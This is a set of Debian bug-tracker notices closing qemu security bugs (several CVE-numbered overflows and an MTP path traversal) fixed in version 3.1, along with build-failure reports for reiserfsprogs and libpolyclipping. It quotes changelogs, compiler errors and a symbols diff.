Your message dated Wed, 12 Dec 2018 09:16:38 + with message-id and subject line Bug#915884: fixed in qemu 1:3.1+dfsg-1 has caused the Debian Bug report #915884, regarding qemu: CVE-2018-16867: dev-mtp: path traversal in usb_mtp_write_data of the Media Transfer Protocol (MTP) to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 915884: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=915884 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: qemu Version: 1:2.12+dfsg-3 Severity: grave Tags: patch security upstream Justification: user security hole Forwarded: https://lists.gnu.org/archive/html/qemu-devel/2018-12/msg00390.html Hi, The following vulnerability was published for qemu. CVE-2018-16867[0]: |dev-mtp: path traversal in usb_mtp_write_data of the Media Transfer |Protocol (MTP) If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2018-16867 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16867 [1] https://lists.gnu.org/archive/html/qemu-devel/2018-12/msg00390.html [2] https://git.qemu.org/?p=qemu.git;a=commit;h=c52d46e041b42bb1ee6f692e00a0abe37a9659f6 Please adjust the affected versions in the BTS as needed. Regards, Salvatore --- End Message --- --- Begin Message --- Source: qemu Source-Version: 1:3.1+dfsg-1 We believe that the bug you reported is fixed in the latest version of qemu, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 915...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Michael Tokarev (supplier of updated qemu package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Sun, 02 Dec 2018 19:10:27 +0300 Source: qemu Binary: qemu qemu-system qemu-block-extra qemu-system-data qemu-system-common qemu-system-gui qemu-system-misc qemu-system-arm qemu-system-mips qemu-system-ppc qemu-system-sparc qemu-system-x86 qemu-user qemu-user-static qemu-user-binfmt qemu-utils qemu-guest-agent qemu-kvm Architecture: source Version: 1:3.1+dfsg-1 Distribution: unstable Urgency: medium Maintainer: Debian QEMU Team Changed-By: Michael Tokarev Description: qemu - fast processor emulator, dummy package qemu-block-extra - extra block backend modules for qemu-system and qemu-utils qemu-guest-agent - Guest-side qemu-system agent qemu-kvm - QEMU Full virtualization on x86 hardware qemu-system - QEMU full system emulation binaries qemu-system-arm - QEMU full system emulation binaries (arm) qemu-system-common - QEMU full system emulation binaries (common files) qemu-system-data - QEMU full system emulation (data files) qemu-system-gui - QEMU full system emulation binaries (user interface and audio sup qemu-system-mips - QEMU full system emulation binaries (mips) qemu-system-misc - QEMU full system emulation binaries (miscellaneous) qemu-system-ppc - QEMU full system emulation binaries (ppc) qemu-system-sparc - QEMU full system emulation binaries (sparc) qemu-system-x86 - QEMU full system emulation binaries (x86) qemu-user - QEMU user mode emulation binaries qemu-user-binfmt - QEMU user mode binfmt registration for qemu-user qemu-user-static - QEMU user mode emulation binaries (static version) qemu-utils - QEMU utilities Closes: 795486 813658 901017 902501 902725 907500 908682 910431 911468 911469 911470 911499 912535 914599 914604 914727 915884 Changes: qemu (1:3.1+dfsg-1) unstable; urgency=medium . * new upstream release (3.1) * Security bugs fixed by upstream: Closes: #910431, CVE-2018-10839: integer overflow leads to buffer overflow issue Closes: #911468, CVE-2018-17962 pcnet: integer overflow leads to buffer overflow Closes: #911469, CVE-2018-17963 net: ignore packets with large size Closes: #908682, CVE-2018-3639 qemu should be able to pass the ssbd cpu flag Closes: #901017, CVE-2018-11806 m_cat in slirp/mbuf.c in Qemu has a heap-based buffer overflow via incoming fragmented datagrams Closes: #902725, CVE-2018-12617
Bug#916166: marked as done (reiserfsprogs FTBFS with glibc 2.28)
Your message dated Wed, 12 Dec 2018 09:16:56 + with message-id and subject line Bug#916166: fixed in reiserfsprogs 1:3.6.27-3 has caused the Debian Bug report #916166, regarding reiserfsprogs FTBFS with glibc 2.28 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916166: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916166 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: reiserfsprogs Version: 1:3.6.27-2 Severity: serious Tags: ftbfs https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/reiserfsprogs.html ... In file included from parse_time.c:7: ../include/misc.h:76:26: error: unknown type name 'loff_t'; did you mean 'off_t'? int valid_offset(int fd, loff_t offset); ^~ off_t In file included from parse_time.c:8: ../include/reiserfs_lib.h:300:55: error: unknown type name 'loff_t'; did you mean 'off_t'? void set_offset(int format, struct reiserfs_key *key, loff_t offset); ^~ off_t ../include/reiserfs_lib.h:301:64: error: unknown type name 'loff_t'; did you mean 'off_t'? void set_type_and_offset(int format, struct reiserfs_key *key, loff_t offset, ^~ --- End Message --- --- Begin Message --- Source: reiserfsprogs Source-Version: 1:3.6.27-3 We believe that the bug you reported is fixed in the latest version of reiserfsprogs, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 916...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Felix Zielcke (supplier of updated reiserfsprogs package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Wed, 12 Dec 2018 09:42:18 +0100 Source: reiserfsprogs Binary: reiserfsprogs reiserfsprogs-udeb mkreiserfs-udeb Architecture: source amd64 Version: 1:3.6.27-3 Distribution: unstable Urgency: medium Maintainer: Felix Zielcke Changed-By: Felix Zielcke Description: mkreiserfs-udeb - User-level tools for ReiserFS filesystems (udeb) reiserfsprogs - User-level tools for ReiserFS filesystems reiserfsprogs-udeb - User-level tools for ReiserFS filesystems (udeb) Closes: 916166 Changes: reiserfsprogs (1:3.6.27-3) unstable; urgency=medium . * Add patch to fix build with newer glibc. (Closes: #916166) * Remove "-std=gnu90" from CFLAGS. Not needed anymore. * Update to policy 4.2.1. Checksums-Sha1: c0d533e1fb99ccb5c4189a12b3ba232b6491a215 1932 reiserfsprogs_3.6.27-3.dsc 29244c81150c6345a7cfdaf3409cf3988cf65738 22620 reiserfsprogs_3.6.27-3.debian.tar.xz 3f9326a0c4ae31fb34d8bb121b74836f9ab1 109804 mkreiserfs-udeb_3.6.27-3_amd64.udeb cbd527a30c765e688322fc28ddf9c6f505db0540 545632 reiserfsprogs-dbgsym_3.6.27-3_amd64.deb d06283a5de963213cb0efeeba40c443864c6e094 97344 reiserfsprogs-udeb_3.6.27-3_amd64.udeb 10e6419e8824e767baac4d665f4827fe1a835057 6254 reiserfsprogs_3.6.27-3_amd64.buildinfo ae1f6fc153482f833a9fc9ff0cad5b5ba70c5300 247744 reiserfsprogs_3.6.27-3_amd64.deb Checksums-Sha256: 82b0897eb2a805e699b6abfef27b110ce0e24bf77de518397ce8d805a91912a6 1932 reiserfsprogs_3.6.27-3.dsc 766e4d3b4e061d0cb237e6b8ce3e70bca2acdcdd0bef25b96259969e3087195c 22620 reiserfsprogs_3.6.27-3.debian.tar.xz 381a7fe6c437cc3f3686c6e2ecb9f769dc0170c924b7ffd46c03a10177ca7f9d 109804 mkreiserfs-udeb_3.6.27-3_amd64.udeb 1d650a48ba334291c62f2f7b93347ad778c6c46653629b1d7be8aa4290993deb 545632 reiserfsprogs-dbgsym_3.6.27-3_amd64.deb e89514c3121f834db91ba00633b85aff1e9c622f80f48fd0715f52df62ae5600 97344 reiserfsprogs-udeb_3.6.27-3_amd64.udeb ffe8875f73a2ca0a342172eb442c6edd6e84e5194cc3cdaf4cdb895e805d06b8 6254 reiserfsprogs_3.6.27-3_amd64.buildinfo bc7873e27331c99e0bd6c7f149cacdee0934e730e1cbb8025d60dbbdae1cdd0d 247744 reiserfsprogs_3.6.27-3_amd64.deb Files: 4add8f6883342593de0a211b37b833c6 1932 admin optional reiserfsprogs_3.6.27-3.dsc 2c3982a43f664c2203947b6ff7e79bdd 22620 admin optional reiserfsprogs_3.6.27-3.debian.tar.xz b00b4797084c8a8ea26570abec46f244 109804 debian-installer optional
Bug#908682: marked as done (qemu: (CVE-2018-3639 SSB) qemu should be able to pass the ssbd cpu flag)
Your message dated Wed, 12 Dec 2018 09:16:37 + with message-id and subject line Bug#908682: fixed in qemu 1:3.1+dfsg-1 has caused the Debian Bug report #908682, regarding qemu: (CVE-2018-3639 SSB) qemu should be able to pass the ssbd cpu flag to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 908682: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=908682 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: qemu Version: 1:2.8+dfsg-6+deb9u4 Severity: grave Tags: security Justification: user security hole Dear Maintainer, To mitigate (CVE-2018-3639 SSB) qemu should pass the ssbd cpu flag and patches were made public in May "https://lists.gnu.org/archive/html/qemu-devel/2018-05/msg04795.html; Is there a reason why the qemu stretch package still doesn't have this patch ? Best regards, Azad --- End Message --- --- Begin Message --- Source: qemu Source-Version: 1:3.1+dfsg-1 We believe that the bug you reported is fixed in the latest version of qemu, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 908...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Michael Tokarev (supplier of updated qemu package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Sun, 02 Dec 2018 19:10:27 +0300 Source: qemu Binary: qemu qemu-system qemu-block-extra qemu-system-data qemu-system-common qemu-system-gui qemu-system-misc qemu-system-arm qemu-system-mips qemu-system-ppc qemu-system-sparc qemu-system-x86 qemu-user qemu-user-static qemu-user-binfmt qemu-utils qemu-guest-agent qemu-kvm Architecture: source Version: 1:3.1+dfsg-1 Distribution: unstable Urgency: medium Maintainer: Debian QEMU Team Changed-By: Michael Tokarev Description: qemu - fast processor emulator, dummy package qemu-block-extra - extra block backend modules for qemu-system and qemu-utils qemu-guest-agent - Guest-side qemu-system agent qemu-kvm - QEMU Full virtualization on x86 hardware qemu-system - QEMU full system emulation binaries qemu-system-arm - QEMU full system emulation binaries (arm) qemu-system-common - QEMU full system emulation binaries (common files) qemu-system-data - QEMU full system emulation (data files) qemu-system-gui - QEMU full system emulation binaries (user interface and audio sup qemu-system-mips - QEMU full system emulation binaries (mips) qemu-system-misc - QEMU full system emulation binaries (miscellaneous) qemu-system-ppc - QEMU full system emulation binaries (ppc) qemu-system-sparc - QEMU full system emulation binaries (sparc) qemu-system-x86 - QEMU full system emulation binaries (x86) qemu-user - QEMU user mode emulation binaries qemu-user-binfmt - QEMU user mode binfmt registration for qemu-user qemu-user-static - QEMU user mode emulation binaries (static version) qemu-utils - QEMU utilities Closes: 795486 813658 901017 902501 902725 907500 908682 910431 911468 911469 911470 911499 912535 914599 914604 914727 915884 Changes: qemu (1:3.1+dfsg-1) unstable; urgency=medium . * new upstream release (3.1) * Security bugs fixed by upstream: Closes: #910431, CVE-2018-10839: integer overflow leads to buffer overflow issue Closes: #911468, CVE-2018-17962 pcnet: integer overflow leads to buffer overflow Closes: #911469, CVE-2018-17963 net: ignore packets with large size Closes: #908682, CVE-2018-3639 qemu should be able to pass the ssbd cpu flag Closes: #901017, CVE-2018-11806 m_cat in slirp/mbuf.c in Qemu has a heap-based buffer overflow via incoming fragmented datagrams Closes: #902725, CVE-2018-12617 qmp_guest_file_read in qemu-ga has an integer overflow Closes: #907500, CVE-2018-15746 qemu-seccomp might allow local OS guest users to cause a denial of service Closes: #915884, CVE-2018-16867 dev-mtp: path traversal in usb_mtp_write_data of the MTP Closes: #911499, CVE-2018-17958 Buffer Overflow in rtl8139_do_receive in hw/net/rtl8139.c because an incorrect integer data type is used Closes: #911470, CVE-2018-18438 integer overflows because IOReadHandler and its
Bug#910431: marked as done (qemu: CVE-2018-10839: integer overflow leads to buffer overflow issue)
Your message dated Wed, 12 Dec 2018 09:16:37 + with message-id and subject line Bug#910431: fixed in qemu 1:3.1+dfsg-1 has caused the Debian Bug report #910431, regarding qemu: CVE-2018-10839: integer overflow leads to buffer overflow issue to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 910431: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=910431 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: qemu Version: 1:2.12+dfsg-3 Severity: important Tags: security upstream Forwarded: https://lists.gnu.org/archive/html/qemu-devel/2018-09/msg03273.html Control: found -1 1:2.8+dfsg-1 Hi, The following vulnerability was published for qemu. CVE-2018-10839[0]: ne2000: integer overflow leads to buffer overflow issue If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2018-10839 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-10839 [1] https://lists.gnu.org/archive/html/qemu-devel/2018-09/msg03273.html Regards, Salvatore --- End Message --- --- Begin Message --- Source: qemu Source-Version: 1:3.1+dfsg-1 We believe that the bug you reported is fixed in the latest version of qemu, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 910...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Michael Tokarev (supplier of updated qemu package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Sun, 02 Dec 2018 19:10:27 +0300 Source: qemu Binary: qemu qemu-system qemu-block-extra qemu-system-data qemu-system-common qemu-system-gui qemu-system-misc qemu-system-arm qemu-system-mips qemu-system-ppc qemu-system-sparc qemu-system-x86 qemu-user qemu-user-static qemu-user-binfmt qemu-utils qemu-guest-agent qemu-kvm Architecture: source Version: 1:3.1+dfsg-1 Distribution: unstable Urgency: medium Maintainer: Debian QEMU Team Changed-By: Michael Tokarev Description: qemu - fast processor emulator, dummy package qemu-block-extra - extra block backend modules for qemu-system and qemu-utils qemu-guest-agent - Guest-side qemu-system agent qemu-kvm - QEMU Full virtualization on x86 hardware qemu-system - QEMU full system emulation binaries qemu-system-arm - QEMU full system emulation binaries (arm) qemu-system-common - QEMU full system emulation binaries (common files) qemu-system-data - QEMU full system emulation (data files) qemu-system-gui - QEMU full system emulation binaries (user interface and audio sup qemu-system-mips - QEMU full system emulation binaries (mips) qemu-system-misc - QEMU full system emulation binaries (miscellaneous) qemu-system-ppc - QEMU full system emulation binaries (ppc) qemu-system-sparc - QEMU full system emulation binaries (sparc) qemu-system-x86 - QEMU full system emulation binaries (x86) qemu-user - QEMU user mode emulation binaries qemu-user-binfmt - QEMU user mode binfmt registration for qemu-user qemu-user-static - QEMU user mode emulation binaries (static version) qemu-utils - QEMU utilities Closes: 795486 813658 901017 902501 902725 907500 908682 910431 911468 911469 911470 911499 912535 914599 914604 914727 915884 Changes: qemu (1:3.1+dfsg-1) unstable; urgency=medium . * new upstream release (3.1) * Security bugs fixed by upstream: Closes: #910431, CVE-2018-10839: integer overflow leads to buffer overflow issue Closes: #911468, CVE-2018-17962 pcnet: integer overflow leads to buffer overflow Closes: #911469, CVE-2018-17963 net: ignore packets with large size Closes: #908682, CVE-2018-3639 qemu should be able to pass the ssbd cpu flag Closes: #901017, CVE-2018-11806 m_cat in slirp/mbuf.c in Qemu has a heap-based buffer overflow via incoming fragmented datagrams Closes: #902725, CVE-2018-12617 qmp_guest_file_read in qemu-ga has an integer overflow Closes: #907500, CVE-2018-15746 qemu-seccomp might allow local OS guest users to cause a denial of service Closes: #915884, CVE-2018-16867
Bug#911468: marked as done (qemu: CVE-2018-17962: pcnet: integer overflow leads to buffer overflow)
Your message dated Wed, 12 Dec 2018 09:16:37 + with message-id and subject line Bug#911468: fixed in qemu 1:3.1+dfsg-1 has caused the Debian Bug report #911468, regarding qemu: CVE-2018-17962: pcnet: integer overflow leads to buffer overflow to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 911468: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=911468 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: qemu Version: 1:2.12+dfsg-3 Severity: important Tags: security upstream Hi, The following vulnerability was published for qemu. CVE-2018-17962[0]: | Qemu has a Buffer Overflow in pcnet_receive in hw/net/pcnet.c because | an incorrect integer data type is used. If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2018-17962 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17962 [1] https://lists.gnu.org/archive/html/qemu-devel/2018-09/msg03268.html Please adjust the affected versions in the BTS as needed. Regards, Salvatore --- End Message --- --- Begin Message --- Source: qemu Source-Version: 1:3.1+dfsg-1 We believe that the bug you reported is fixed in the latest version of qemu, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 911...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Michael Tokarev (supplier of updated qemu package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Sun, 02 Dec 2018 19:10:27 +0300 Source: qemu Binary: qemu qemu-system qemu-block-extra qemu-system-data qemu-system-common qemu-system-gui qemu-system-misc qemu-system-arm qemu-system-mips qemu-system-ppc qemu-system-sparc qemu-system-x86 qemu-user qemu-user-static qemu-user-binfmt qemu-utils qemu-guest-agent qemu-kvm Architecture: source Version: 1:3.1+dfsg-1 Distribution: unstable Urgency: medium Maintainer: Debian QEMU Team Changed-By: Michael Tokarev Description: qemu - fast processor emulator, dummy package qemu-block-extra - extra block backend modules for qemu-system and qemu-utils qemu-guest-agent - Guest-side qemu-system agent qemu-kvm - QEMU Full virtualization on x86 hardware qemu-system - QEMU full system emulation binaries qemu-system-arm - QEMU full system emulation binaries (arm) qemu-system-common - QEMU full system emulation binaries (common files) qemu-system-data - QEMU full system emulation (data files) qemu-system-gui - QEMU full system emulation binaries (user interface and audio sup qemu-system-mips - QEMU full system emulation binaries (mips) qemu-system-misc - QEMU full system emulation binaries (miscellaneous) qemu-system-ppc - QEMU full system emulation binaries (ppc) qemu-system-sparc - QEMU full system emulation binaries (sparc) qemu-system-x86 - QEMU full system emulation binaries (x86) qemu-user - QEMU user mode emulation binaries qemu-user-binfmt - QEMU user mode binfmt registration for qemu-user qemu-user-static - QEMU user mode emulation binaries (static version) qemu-utils - QEMU utilities Closes: 795486 813658 901017 902501 902725 907500 908682 910431 911468 911469 911470 911499 912535 914599 914604 914727 915884 Changes: qemu (1:3.1+dfsg-1) unstable; urgency=medium . * new upstream release (3.1) * Security bugs fixed by upstream: Closes: #910431, CVE-2018-10839: integer overflow leads to buffer overflow issue Closes: #911468, CVE-2018-17962 pcnet: integer overflow leads to buffer overflow Closes: #911469, CVE-2018-17963 net: ignore packets with large size Closes: #908682, CVE-2018-3639 qemu should be able to pass the ssbd cpu flag Closes: #901017, CVE-2018-11806 m_cat in slirp/mbuf.c in Qemu has a heap-based buffer overflow via incoming fragmented datagrams Closes: #902725, CVE-2018-12617 qmp_guest_file_read in qemu-ga has an integer overflow Closes: #907500, CVE-2018-15746 qemu-seccomp might allow local OS guest users to cause a denial of service Closes: #915884,
Bug#901017: marked as done (qemu: CVE-2018-11806: slirp: heap buffer overflow while reassembling fragmented datagrams)
Your message dated Wed, 12 Dec 2018 09:16:37 + with message-id and subject line Bug#901017: fixed in qemu 1:3.1+dfsg-1 has caused the Debian Bug report #901017, regarding qemu: CVE-2018-11806: slirp: heap buffer overflow while reassembling fragmented datagrams to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 901017: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=901017 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: qemu Version: 1:2.12+dfsg-3 Severity: grave Tags: patch security upstream Forwarded: https://lists.gnu.org/archive/html/qemu-devel/2018-06/msg01012.html Hi, The following vulnerability was published for qemu. CVE-2018-11806[0]: slirp: heap buffer overflow while reassembling fragmented datagrams If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2018-11806 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11806 [1] https://lists.gnu.org/archive/html/qemu-devel/2018-06/msg01012.html Please adjust the affected versions in the BTS as needed. Regards, Salvatore --- End Message --- --- Begin Message --- Source: qemu Source-Version: 1:3.1+dfsg-1 We believe that the bug you reported is fixed in the latest version of qemu, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 901...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Michael Tokarev (supplier of updated qemu package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Sun, 02 Dec 2018 19:10:27 +0300 Source: qemu Binary: qemu qemu-system qemu-block-extra qemu-system-data qemu-system-common qemu-system-gui qemu-system-misc qemu-system-arm qemu-system-mips qemu-system-ppc qemu-system-sparc qemu-system-x86 qemu-user qemu-user-static qemu-user-binfmt qemu-utils qemu-guest-agent qemu-kvm Architecture: source Version: 1:3.1+dfsg-1 Distribution: unstable Urgency: medium Maintainer: Debian QEMU Team Changed-By: Michael Tokarev Description: qemu - fast processor emulator, dummy package qemu-block-extra - extra block backend modules for qemu-system and qemu-utils qemu-guest-agent - Guest-side qemu-system agent qemu-kvm - QEMU Full virtualization on x86 hardware qemu-system - QEMU full system emulation binaries qemu-system-arm - QEMU full system emulation binaries (arm) qemu-system-common - QEMU full system emulation binaries (common files) qemu-system-data - QEMU full system emulation (data files) qemu-system-gui - QEMU full system emulation binaries (user interface and audio sup qemu-system-mips - QEMU full system emulation binaries (mips) qemu-system-misc - QEMU full system emulation binaries (miscellaneous) qemu-system-ppc - QEMU full system emulation binaries (ppc) qemu-system-sparc - QEMU full system emulation binaries (sparc) qemu-system-x86 - QEMU full system emulation binaries (x86) qemu-user - QEMU user mode emulation binaries qemu-user-binfmt - QEMU user mode binfmt registration for qemu-user qemu-user-static - QEMU user mode emulation binaries (static version) qemu-utils - QEMU utilities Closes: 795486 813658 901017 902501 902725 907500 908682 910431 911468 911469 911470 911499 912535 914599 914604 914727 915884 Changes: qemu (1:3.1+dfsg-1) unstable; urgency=medium . * new upstream release (3.1) * Security bugs fixed by upstream: Closes: #910431, CVE-2018-10839: integer overflow leads to buffer overflow issue Closes: #911468, CVE-2018-17962 pcnet: integer overflow leads to buffer overflow Closes: #911469, CVE-2018-17963 net: ignore packets with large size Closes: #908682, CVE-2018-3639 qemu should be able to pass the ssbd cpu flag Closes: #901017, CVE-2018-11806 m_cat in slirp/mbuf.c in Qemu has a heap-based buffer overflow via incoming fragmented datagrams Closes: #902725, CVE-2018-12617 qmp_guest_file_read in qemu-ga has an integer overflow Closes: #907500, CVE-2018-15746 qemu-seccomp might allow local OS guest users to
Bug#916213: marked as done (libpolyclipping FTBFS on 32bit: symbol differences)
Your message dated Wed, 12 Dec 2018 10:04:35 +0100 with message-id <20181212090435.ga5...@hjemme.reinholdtsen.name> and subject line Re: libpolyclipping FTBFS on 32bit: symbol differences has caused the Debian Bug report #916213, regarding libpolyclipping FTBFS on 32bit: symbol differences to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 916213: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=916213 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: libpolyclipping Version: 6.4.2-4 Severity: serious Tags: ftbfs https://buildd.debian.org/status/package.php?p=libpolyclipping=sid ... dpkg-gensymbols -plibpolyclipping22 -Idebian/libpolyclipping22.symbols -Pdebian/libpolyclipping22 -edebian/libpolyclipping22/usr/lib/i386-linux-gnu/libpolyclipping.so.22.0.0 dpkg-gensymbols: warning: some new symbols appeared in the symbols file: see diff output below dpkg-gensymbols: error: some symbols or patterns disappeared in the symbols file: see diff output below dpkg-gensymbols: warning: debian/libpolyclipping22/DEBIAN/symbols doesn't match completely debian/libpolyclipping22.symbols --- debian/libpolyclipping22.symbols (libpolyclipping22_6.4.2-4_i386) +++ dpkg-gensymbolsU6Y5df 2018-12-10 22:51:17.966224771 + @@ -65,7 +65,7 @@ (c++)"ClipperLib::ClipperBase::DeleteFromAEL(ClipperLib::TEdge*)@Base" 6.4.2 (c++)"ClipperLib::ClipperBase::DisposeAllOutRecs()@Base" 6.4.2 (c++)"ClipperLib::ClipperBase::DisposeLocalMinimaList()@Base" 6.4.2 - (c++)"ClipperLib::ClipperBase::DisposeOutRec(unsigned long)@Base" 6.4.2 +#MISSING: 6.4.2-4# (c++)"ClipperLib::ClipperBase::DisposeOutRec(unsigned long)@Base" 6.4.2 (c++)"ClipperLib::ClipperBase::GetBounds()@Base" 6.4.2 (c++)"ClipperLib::ClipperBase::InsertScanbeam(long long)@Base" 6.4.2 (c++)"ClipperLib::ClipperBase::LocalMinimaPending()@Base" 6.4.2 @@ -159,16 +159,33 @@ (c++)"ClipperLib::operator<<(std::basic_ostream >&, std::vector > const&)@Base" 6.4.2 (c++)"ClipperLib::operator<<(std::basic_ostream >&, std::vector >, std::allocator > > > const&)@Base" 6.4.2 (c++)"VTT for ClipperLib::Clipper@Base" 6.4.2 + _ZN10ClipperLib11ClipperBase13DisposeOutRecEj@Base 6.4.2-4 + _ZNSt6vectorIN10ClipperLib11DoublePointESaIS1_EE7reserveEj@Base 6.4.2-4 + _ZNSt6vectorIN10ClipperLib8IntPointESaIS1_EE17_M_default_appendEj@Base 6.4.2-4 + _ZNSt6vectorIN10ClipperLib8IntPointESaIS1_EE17_M_realloc_insertIJS1_EEEvN9__gnu_cxx17__normal_iteratorIPS1_S3_EEDpOT_@Base 6.4.2-4 + _ZNSt6vectorIN10ClipperLib8IntPointESaIS1_EE7reserveEj@Base 6.4.2-4 + _ZNSt6vectorIPN10ClipperLib4JoinESaIS2_EE17_M_default_appendEj@Base 6.4.2-4 + _ZNSt6vectorIPN10ClipperLib8PolyNodeESaIS2_EE17_M_default_appendEj@Base 6.4.2-4 + _ZNSt6vectorIPN10ClipperLib8PolyNodeESaIS2_EE7reserveEj@Base 6.4.2-4 + _ZNSt6vectorIS_IN10ClipperLib8IntPointESaIS1_EESaIS3_EE17_M_default_appendEj@Base 6.4.2-4 + _ZNSt6vectorIS_IN10ClipperLib8IntPointESaIS1_EESaIS3_EE7reserveEj@Base 6.4.2-4 + _ZSt13__adjust_heapIN9__gnu_cxx17__normal_iteratorIPN10ClipperLib12LocalMinimumESt6vectorIS3_SaIS3_iS3_NS0_5__ops15_Iter_comp_iterINS2_12LocMinSortervT_T0_SE_T1_T2_@Base 6.4.2-4 + _ZSt13__adjust_heapIN9__gnu_cxx17__normal_iteratorIPPN10ClipperLib13IntersectNodeESt6vectorIS4_SaIS4_iS4_NS0_5__ops15_Iter_comp_iterIPFbS4_S4_vT_T0_SG_T1_T2_@Base 6.4.2-4 + _ZSt13__adjust_heapIN9__gnu_cxx17__normal_iteratorIPxSt6vectorIxSaIxixNS0_5__ops15_Iter_comp_iterISt4lessIxvT_T0_SD_T1_T2_@Base 6.4.2-4 + _ZSt16__introsort_loopIN9__gnu_cxx17__normal_iteratorIPN10ClipperLib12LocalMinimumESt6vectorIS3_SaIS3_iNS0_5__ops15_Iter_comp_iterINS2_12LocMinSortervT_SD_T0_T1_@Base 6.4.2-4 + 